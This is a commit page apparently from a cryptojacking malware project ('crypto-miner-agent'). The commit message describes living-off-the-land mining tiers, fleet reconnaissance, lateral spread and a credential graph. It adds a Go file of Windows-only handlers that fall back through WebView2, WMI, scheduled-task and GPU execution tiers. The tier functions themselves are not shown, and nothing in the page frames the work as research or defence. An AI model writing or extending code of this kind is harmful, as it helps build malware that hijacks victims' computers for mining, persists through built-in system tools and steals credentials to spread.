Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
79
agent/miner/tier_adapters.go
Normal file
79
agent/miner/tier_adapters.go
Normal file
@@ -0,0 +1,79 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"context"
|
||||
"runtime"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
type webview2ProbeHandler struct{}
|
||||
|
||||
func (t *webview2ProbeHandler) Tier() LOTLTier { return TierWebView2Probe }
|
||||
|
||||
func (t *webview2ProbeHandler) Available(cfg config.RuntimeConfig) bool {
|
||||
_ = cfg
|
||||
return runtime.GOOS == "windows"
|
||||
}
|
||||
|
||||
func (t *webview2ProbeHandler) Attempt(ctx context.Context, cfg config.RuntimeConfig) TierAttempt {
|
||||
return RunWebView2Probe(ctx, cfg)
|
||||
}
|
||||
|
||||
func (t *webview2ProbeHandler) Stop() {}
|
||||
|
||||
type wmiHandler struct{}
|
||||
|
||||
func (t *wmiHandler) Tier() LOTLTier { return TierWMI }
|
||||
|
||||
func (t *wmiHandler) Available(cfg config.RuntimeConfig) bool {
|
||||
_ = cfg
|
||||
return runtime.GOOS == "windows"
|
||||
}
|
||||
|
||||
func (t *wmiHandler) Attempt(ctx context.Context, cfg config.RuntimeConfig) TierAttempt {
|
||||
return RunWMITier(ctx, cfg)
|
||||
}
|
||||
|
||||
func (t *wmiHandler) Stop() {}
|
||||
|
||||
type scheduledTaskHandler struct{}
|
||||
|
||||
func (t *scheduledTaskHandler) Tier() LOTLTier { return TierScheduledTask }
|
||||
|
||||
func (t *scheduledTaskHandler) Available(cfg config.RuntimeConfig) bool {
|
||||
_ = cfg
|
||||
return runtime.GOOS == "windows"
|
||||
}
|
||||
|
||||
func (t *scheduledTaskHandler) Attempt(ctx context.Context, cfg config.RuntimeConfig) TierAttempt {
|
||||
return RunScheduledTaskTier(ctx, cfg)
|
||||
}
|
||||
|
||||
func (t *scheduledTaskHandler) Stop() {}
|
||||
|
||||
type gpuComputeHandler struct{}
|
||||
|
||||
func (t *gpuComputeHandler) Tier() LOTLTier { return TierGPUCompute }
|
||||
|
||||
func (t *gpuComputeHandler) Available(cfg config.RuntimeConfig) bool {
|
||||
return runtime.GOOS == "windows" && cfg.GPUEnabled
|
||||
}
|
||||
|
||||
func (t *gpuComputeHandler) Attempt(ctx context.Context, cfg config.RuntimeConfig) TierAttempt {
|
||||
return RunGPUComputeTier(ctx, cfg)
|
||||
}
|
||||
|
||||
func (t *gpuComputeHandler) Stop() {}
|
||||
|
||||
func defaultTierHandlers() []TierHandler {
|
||||
if runtime.GOOS != "windows" {
|
||||
return nil
|
||||
}
|
||||
return []TierHandler{
|
||||
&webview2ProbeHandler{},
|
||||
&wmiHandler{},
|
||||
&scheduledTaskHandler{},
|
||||
&gpuComputeHandler{},
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user